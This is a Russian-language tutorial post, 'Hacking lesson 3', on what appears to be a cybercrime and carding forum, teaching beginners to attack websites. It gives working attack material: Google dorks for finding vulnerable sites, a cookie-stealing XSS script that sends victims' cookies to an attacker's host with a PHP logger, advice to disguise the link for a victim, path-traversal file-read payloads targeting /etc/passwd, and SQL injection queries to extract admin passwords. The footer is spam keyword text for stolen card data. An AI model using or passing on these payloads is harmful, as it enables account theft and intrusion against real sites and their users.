If you have any questions, contact us:
Telegram:maintex
ICQ:1607000

  #1 Old 10-06-2014, 08:55 PM
maximg31
 
maximg31's Avatar
 
Join Date: Oct 2014
Posts: 10
Contact: maximg31@jabber
maximg31 1
Send a message via ICQ to maximg31
Post Урок Хакинга [3]

Вступление. Здравствуйте уважаемые читатели . Мы продолжаем значиться азами веб хакинга . Это 3 урок и вот какие темы мы сегодня разберем : Сплоиты – структура и использование Google hacking Более подробное изучение таких уязвимостей как : -sql injection -xss -php include Сплоиты. Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость . Мы будем знакомиться с эксплоитами для веб приложений . Кроме них существуют эксплоиты для прикладных программ . Они более сложные и тебе пока рановато их изучать . Итак, возьмем инъекцию из прошлого урока http:// www.site.us/ main.php? id=18646644+union +select +1,2,3,name,password,6,7+from +user/* Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому, мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора . Приводить текст эксплоита я не буду а только разберем суть алгоритма : Сначаланужно сделать обратитьсяк сайтус составленным запросомдля выводалогинаи пароля. Далеенам вернется страничкас аккаунтом Теперьнужно пропарсить страницуи найтилогин пароль. Все. Ну кончено это самый примитивный пример. Но надеюсь ты понял зачем нужны эксплоиты . Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования . Но обычно эксплоиты для веб приложений пишутся на PHP или Perl Давайте теперь разберем классический сценарий : Твоя цель взломать какой то сайт . Зайдя на него ты видишь в подвале такую надпись : Power by PHP-nuke 8.0 Это значит сайт работает на движке найков . Теперь нужно попробовать найти паблик эксплоиты под эту версию . Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком: PHP-nuke 8.0 exploit После непродолжительного парсинга ссылок мы находим сплоит : http:// milw0rm.com/ exploits/3346 Видим надпись #!/ usr/bin/perl Это значит эксплоит написан на perl. Далее видим это: #0dayexploit forPHP-nuke <=8.0Final 0day – значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию . Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой Perlexploit.pl С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь После установки можно так же воспользоваться командой perl в консоли. Perlexploit.pl Далее программа покажет необходимые аргументы для этого эксплоита . В большинстве случаев понадобится только адрес сайта . Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты. Вообще желательно поставить php+apache +mysql. Т.к. это пригодится нам в будущем для тестирования движков. Apache - это сервер mysql - это база данных. Мануал по установке можно найти здесь. После этого достаточно скопировать php сплоит в папку www и запустить из браузера. localhost/ exploit.php Либо в командной строке набрать php путь до сплоита В следующем уроке разберем исходник настоящего эксплоита. Google hacking. Поиск бажных сайтов Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка . К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким: Site:PHP-nuke 8.0 Поисковик выдаст нам список сайтов , на которых присутствует строка: PHP- nuke 8.0. В большинстве случаев это буду сайты которые нам нужны . Потом открываем любой сайт и применяем сплоит . Надеюсь понятно, что можно искать любые бажные движки . Можно просто зайти на любой багтрак и быбрать уязвимый двиг , под который есть сплоит. И далее с помощью гугла найти сайты с этим движком . В прошлом уроке я показывал как искать ресурсы с возможным php include bug: inurl:“page=” inurl ищет указанную строку в адресе сайта Можно сделать такой запрос : inurl:”id=1” и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection. А если сделать так : inurl:”page=” and“.us” То гугл найдет все сайты с которые находятся в зоне .us(американские) Кстати, еще можно указать тип документа: filetype:asp Гугл выдаст нам найденные asp сценарии. Поиск админки Теперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт . Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора , но найти админку не удается. Вот стандартные пути: www.site.us/ admin www.site.us/ administrator www.site.us/ admin.php Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл Site: www.site.us admin Или Site: www.site.us admin.php Ну и тому подобные запросы . А вот такой запрос найдет все текстовые файлы сайта Site: www.site.us filetype:txt Можно попробовать поискать интересные файлы , что то вроде: Site: www.site.us filetype:txt password. Продолжаем знакомится с xss php include sql injection Xss Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies. Рассмотрим небольшой сценарий : [form name="form" action="questbook.php" method="GET"] [input type=text name="text"] [input type=submit name="submit" value="Send"] [?php $message=$_GET [‘text’];Echo $message;?] Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения. Так вот. Входящяя информация Никак не фильтруется , т.е. пользователь может ввести любые символы в текстовое поле . А если ввести скрипт, то он сответстенно выполнится. Фактически это и есть причина xss. Так теперь даавйте попробуем украсть Куки. У нас есть xss такого вида. www.site.us/ questbook.php? text= [script]alert (‘xss’)[/ script] Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока): www.site.us/ questbook.php? text= [script]alert (document.cookie) [/script] Такой скрипт выдаст нам наши Куки . Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл . Дело в том, что читать Куки от данного сайта, может только сам данный сайт . Поэтому поступаем так: Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием: Snif.js document.write ('[iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http:// хост/ write.php'+'? host='+location.host +'&cook='+document.cookie +'"][/ iframe]'); Этот код открывает невидимый фрейм , в котором загружается файл 'http:// хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички , он будет иметь доступ к COOKIES ’ам этого сайта. Далее в сценарии write.php мы просто запишем файлы Кук : Write.php [? $file=fopen ("cookies.txt","a"); fputs ($file,"[".date ("d.m.y H:i")."]: host=".$_GET [‘host’].", COOKIES=”.$_GET [‘cook’].”rn"); fclose($file); ?] Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет . А скрипт в xss будет такой: www.site.us/ questbook.php? text=[script src=http:// хост/snif.js][/ script] Все, осталось только дать ссылку жертве. Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код . Это можно сделать здесь. В разделе En/De Coder нужно выбрать Url Encode. PHP include Опять же наипростейший пример : [?php $f=$_GET [‘file’]; if(file_exists ($f)) Include (‘file’); ?] Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require. Так вот . Данные берутся из get массива. Т.е. мы легко из можем подделать: http://x3k.ru/ www.site.us/ include.php? file=/etc/ passwd http://x3k.ru/ Это пример из прошлого урока. Теперь разберем еще один кусок кода : [?php =[‘file’]; =fopen (“.txt”,r)); ?] Тут уже используется функция fopen, которая также уявзима. В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так : /etc/passwd.txt Естественно ничего мы прочитать не сможем . Выход использовать NULL байт. %00 – нуль байт. После его вставки часть строки обрубается . Смотри: /etc/passwd %00.txt В итоге будет: /etc/passwd А вот на примере: www.site.us/ include.php? file=/etc/ passwd%00 Бывает что и это не помогает прочитать файлы . Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл . Смотрим на примере: www.site.us/ include.php? file=../../../../../../../../../../../../../ etc/passwd%00 Итак во первых – для просмотра файла /etc/ passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc. Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша . Дело в том что в unix системах .. означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../» Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса . Вот смоти: Phpincludebug http:// www.wkar.msu.edu/ sportstalk/ page.php? StaffID=37&fill= [hacked] Смотрим на ошибку: Warning: include (content/ [hacked].php) [function.include]: failedtoopen stream:Nosuch fileor directoryin/ home/httpd/ htdocs/ sportstalk/ page.phpon line23 Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/ httpd/htdocs/sportstalk/ page.php). SQL injection На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся. Во первых разберем небольшую иерархию. Базаданных Таблица Столбец Поле На примере это выглядит так : База данных onlineshop Таблица onlineshop.users ----------------------- | Login password | ------------------------ Stas 123456 Misha 123456 Maxim 123456 Roma 123456 ------------------------ Что сдесь что?: Login password это столбцы. Имена пользователей и пароли это поля . Вот собственно и все. А вот так составляется запрос в php: ………….. $q=”SELECT* FROMUSERS wherelogin= $login password=$pass” ………….. Во первых SELECT – выбирает данные из таблицы Where – задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем . Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды. Теперь конкретно как мы это делаем : Допустим где то на сайте нашли ниъекцию : www.site.us/ sql?id=1’ Далее мы подобрали что столбцов 6: Активные 3,4 www.site.us/ sql? id=1’+union +select +1,2,login,password,5,6+from +onlineshop.users/ * Это покажет нам аккаунт первого пользователя . Как правило таковым является администратор . Если нужно выбрать конкретного пользователя поступаем там : www.site.us/ sql? login=1’+union +select +1,2,login,password,5,6+from +onlineshop.users +limit1,2/* Так выбираем 2 пользователя. Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан . И еще – допустим с помощью order by мы подобрали кол во столбцов . Делаем так: www.site.us/ sql?id=1’+union +select +1,2,3,4,5,6/* По идее мы должны увидить читабельные столбцы , но бывает, что вывода не проиходит. Тогда нужно поступать так: www.site.us/ sql? id=-1’+union +select +1,2,3,4,5,6/* Послесловие: Ну вот. Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом . На следущем уроке мы будет разбирать реальный сплоит . Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе . Так же мы будет продолжать знакомится с уязвимостями . Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции . Покажу опять же обход фильтрации и особенности 5 ветки mysql
maximg31 is offline   Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


Cybercrime forum, cybercrime site, ,fraud forum, russian fraud forum, Credit cards, carder, infraud, carders.ws, crdpro, fraudsters, darkpro, crdcrew, dumps, cvv, cc, stuff carding, legit seller, vendor, free cvv, dumps+pin, skimmer, ,shimmer, emv software, emv chip writer, free cc+cvv, valid cards, track 2, free cvv, dump pin, dumps, cvv, cc, credit cards, real carding, legit vendor, carder forum, carding tutorial, russian hackers, online cvv shop, track 101, enroll, fullz